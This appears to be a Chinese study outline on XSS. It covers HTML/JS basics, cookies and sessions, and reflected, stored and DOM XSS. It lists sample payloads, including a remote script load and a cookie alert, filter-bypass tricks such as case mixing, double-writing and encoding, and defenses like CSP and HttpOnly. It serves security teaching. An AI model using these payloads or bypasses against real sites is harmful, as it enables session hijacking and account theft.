XSS漏洞
2024-01-27 22:49:37 7 举报
AI智能生成
XSS漏洞
作者其他创作
大纲/内容
HTML和JS基础<br>
HTML
定义:超文本标记语言
HTML结构标准
<!doctype html> //声明文档类型,由渲染引擎解析<br><html> //根标签<br><head> //头部标签,<br><title></title> //标题标签 ,位于页面最上方定义浏览器工具栏中的标题<br></head><br><body> // 主体标签,给用户、浏览者看<br><!-- 在此处写注释 --><br></body><br></html><br><head> </head>和<body> </body>为并列关系<br><head> </head>和<title> </title>
HTML 标签
常见的单标签
<br/> // 换行<br><hr/> //水平分隔线<br><img /> //图片标签<br><input /> //输入标签<br><meta /> //HTML文档的元数据,机器可读,如<meta charset=UTF-8”/>
常见的双标签<br>
<html></html><br><head></head><br><title></title><br><body></body><br><h1></h1> //大标题<br><p></p> //段落标签<br><div></div> //块标签,对内容样式控制、实现布局效果<br><a></a><br><ul></ul> //列表标签<br><form></form> //表单标记<br><select></select> //选项标签
form标签<br>
定义和用法
<form></form> 标签用于为用户输入创建 HTML 表单
表单能够包含什么
input元素
password 密码框
Text:文本框
Submit:提交按钮
Maxlength:文本可以输入的最大长度
menus(菜单)
textarea(文本区域)
cellspacing单元格间距
元素
表单的作用
用于向服务器传输数据
form表单的属性含义
Action:规定当提交表单时向何处发送表单数据
Method:规定get还是post的方法传输
Name:规定表单名称
iframe标签
作用:使用框架,你可以在同一个浏览器窗口中显示不止一个页面。
语法:<iframe src="URL"> <!-- URL指向不同的页面 -->123 </iframe>
设置高度与宽:属性默认以像素为单位,但是你可以指定其按比例显示(如:"60%")
XML
可扩展标记语言:传输数据
JS( JavaScript )<br>
定义
JavaScript是一种直译式的脚本语言、是一种动态类型、弱类型、基于原型的语言,内置支持类型。<br>虽然JavaScript使用了Java这个名称,但实际上JavaScript与Java之间并没有任何关系。<br>
功能
可以将文本动态的放入HTML页面
可以对事件做出响应
可以读写HTML元素
可被用来验证用户输入的数据
可被用来检测访问者的浏览器,并根据所检测到的浏览器,为这个浏览器载入相应的页面
可被用来创建cookies,用来存储和取回位于访问者的计算机中的信息
可利用Ajax技术来完成和服务器的直接通信,无刷新的修改当前HTML页面内容
HTML如何引入JavaScript<br>
写在html的形式
<script> JavaScript的内容(123、 ‘xss’)</script>
引用文件的形式
<script type= “text/javascript” src= “js文件的路径“ />
JavaScript的弹框函数
alert(’xss‘ “” // ``) 功能是产生一个带确认按钮的对话框,上面显示括<br>号内的信息
confirm(“文本”) 拥有确定和取消的提示框
prompt(“文本”,“默认值”) 可以输入文字的框
JavaScript的事件
<a href= “demo.html” 事件= "alert('1');">test</a>
<img src=# 事件= “prompt(1)”/>
鼠标事件
onmouseover 鼠标悬浮(鼠标移入目标元素上方)
onmouseout 鼠标离开(鼠标移出目标元素上方)
onmouseenter 鼠标进入(鼠标移入元素范围内触发)(该事件不冒泡)
onmouseleave 鼠标离开(鼠标移入元素范围内触发)(该事件不冒泡)
onmousedown 鼠标按下
onmouseup 鼠标抬起
onclick:单击
ondblclick:双击<br>
cookie和session
Cookie
定义
Cookie是一个保存在客户机中的简单的文本文件,当我们使用自己的电脑,通过浏览器<br>进行访问网页的时候,服务器就会生成一个证书然后返回给浏览器并写入我们的本地电<br>脑,这个证书就是cookie。Cookie它可以帮助我们实现记录用户个人信息的功能。
表现形式
本地cookie
本地 Cokie 是服务器端脚本语言向客户端发送 Cookie 时制定<br>了时效,也就是 Expire 字段,而且会存储于本地,当 Expire所制定的时效过期后,Cookie 将失效。
Session Cookie
Session Cookie 则没有制定 Expire 时效,是存储在浏览器内存中的,当浏览器关闭后,<br>Session Cookie也随之消失
作用
会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
个性化设置(如用户自定义设置、主题等)
浏览器行为跟踪(如跟踪分析用户行为等)
session
定义
session是存在服务器的一种用来存放用户数据的类HashTable结构
cookie和session的区别<br>
存储位置不同
cookie数据保存在客户端(浏览器),session数据保存在服务器端
存储容量不同
单个cookie保存的数据不能超过4KB,很多浏览器都限制一个站点最多保存20个cookie。<br>(Session没有对存储的数据量的限制,其中可以保存更为复杂的数据类型)
存储方式不同
cookie只能保管ASCII字符串,并需要通过编码方式去存储数据;session能够存储任何类<br>型的数据。
服务器压力不同
XSS漏洞原理
定义
恶意的web访问者将脚本植入<br>到提供给用户使用的页面中,通常是使用JavaScript编写的危险代码,当<br>用户使用浏览器访问页面时,脚本会被执行,从而达到攻击者目的。
危害
网站弹框
网站挂马
会话劫持
Cookie被盗取
用户提权
盗号
DDOS
蠕虫攻击
挖掘
寻求注入点,数据有交互的地方,Dom自己玩自己
搜索关键字,显示输出变量。(‘/“&<>)<>/script
跟踪变量是否过滤
XSS漏洞分类与利用
反射型
定义
主要用于将恶意脚本附加到URL地址的参数中
产生层面
前端
漏洞特征
一次性
前端执行
不会储存在后端数据库
攻击原理
攻击者通过Email向受害者发送xss链接和恶意脚本
受害者向服务器发送请求
服务器接收并响应
储存型
定义
此类XSS不需要用户单击特定URL就能执行跨站脚本。<br>攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中。<br>当受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。
产生层面
后端
漏洞特征
持久性的
前端执行
储存在后端数据库
攻击原理
攻击者向服务器上传xss代码
受害者向服务器发送请求
服务器接收并响应
函数
die() //函数输出一条消息,并退出当前脚本
trim() //函数从字符串的两端删除空白字符和其他预定义字符
stripslashes() //删除反斜杠
mysql_real_escape_string() //转义 SQL 语句中使用的字符串中的特殊字符
mysql_query(query) //mysql_query() 函数执行一条 MySQL 查询
mysql_error() //返回上一个 MySQL 操作产生的文本错误信息
DOM型
定义
DOM XSS的XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的<br>DOM解析。<br>用户在客户端输入的数据如果包含了恶意JavaScript脚本,而这些脚本没有经过适当的<br>过滤,应用程序就可能受到基于DOM的XSS攻击。<br>自己弹自己
产生层面
前端、特殊的反射型XSS
漏洞特征
一次性的
前端执行
不会储存在后端数据库
程序执行不依赖于服务器端的数据<br>
web server不参与,仅仅涉及到浏览器的XSS
文档
由节点构成的集合
节点种类
元素节点
<body>、<p>、<ul>之类的元素在文档中的布局形成了文档的结构,它<br>们即是元素节点
文本节点
文档通常会包含一些内容,这些内容多数由文本提供
属性节点
元素或多或少都有一些属性,属性用于对元素做出更具体的描述
原理
XSS原理客户端的脚本程序可以通过DOM动态地检查和修改页面内容。<br>程序执行不依赖于服务器端的数据,从客户端获得DOM中的数据并在本地执行。<br>浏览器用户可以操纵DOM中的一些对象,例如URL、location等。<br>用户在客户端输入的数据如果包含了恶意JavaScript脚本,而这些脚本没有经过适当的过滤和消毒,<br>应用程序就可能受到基于DOM的XSS攻击。
与之前两类XSS漏洞区别
漏洞发生原因跟服务器解析无关,纯粹是JS代码读取了URL内容导致。<br>dom-xss取决于输出位置,并不取决于输出环境,因此domxss既有可能是反射型的,也有可<br>能是存储型的
JS代码中可能触发DOM型XSS的属性
document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性<br>
利用JS脚本
跳转页面
<script>location='https://www.baidu.com'</script>
弹出cookie(如果有cookie的话)
<script>alert(documet.cookie)</script>
XSS漏洞挖掘与绕过
手工测试是否有xss漏洞
找到测试点(搜索框、留言板)
根据测试流程首先实验一些特殊符号的输入。发现可以正常输出,说明后台并没有进行相关的过滤。<br>例子:'<>?"&/6666
如果有过滤则进行相关的绕过
xss常见语句
<script>
<script>alert(1)</script>
<script src=http://baidu.cn/xss/xss.js></script>
‘><script>alert(1)</script>
<img>
<img src=x onerror=alert(/xss/)>
<img src=javascript:alert(1)>//版本,E7.0|IE6.0,才能执行
<img src=# onmouseover="alert(1)">
<a>
"> <a href=javascript:alert('xss') >
"> <a href= "" onclick="alert(1)"> xss</a>
XSS漏洞绕过方法
大小写绕过
<ScRiPt>alert(1)</ScRiPt>
双写绕过
<sc<script>ript>alert(/xss/)</script>
反引号绕过
`` 绕过单双引号的过滤
关闭标签(利用<>关闭标签)
"> <script>alert(1)</script>
超链接标签
< a href= > 1 </a>
图片链接绕过
< img src=1 onerror=alert(1)>
编码绕过(八进制、十进制、十六进制编码、html实体编码、url编码、base64)
空格、回车、换行符、tab、混淆
XSS漏洞防御
CSP内容安全策略
Content Security Policy<br>禁止加载外域代码,防止复杂的攻击逻辑。<br>禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。<br>禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。<br>禁止未授权的脚本执行(新特性,Google Map 移动版在使用)
通过设置HttpOnly防止cookie被窃取
输入输出检查(包括前端js和后端php)
白名单验证
对用户提交的数据进行检查,只接受指定长度范围内、采用适当格式和预期<br>字符的输入,其余一律过滤。
黑名单验证
对包含XSS代码特征的内容进行过滤,如“<”、 “>”、”script”、”#”<br>
对所有输出字符进行HTML编码
• < 转成&lt;<br>• > 转成&gt;<br>• & 转成&amp<br>•<br>“ 转成&quot<br>•<br>‘转成&#39
0 条评论
下一页
为你推荐
查看更多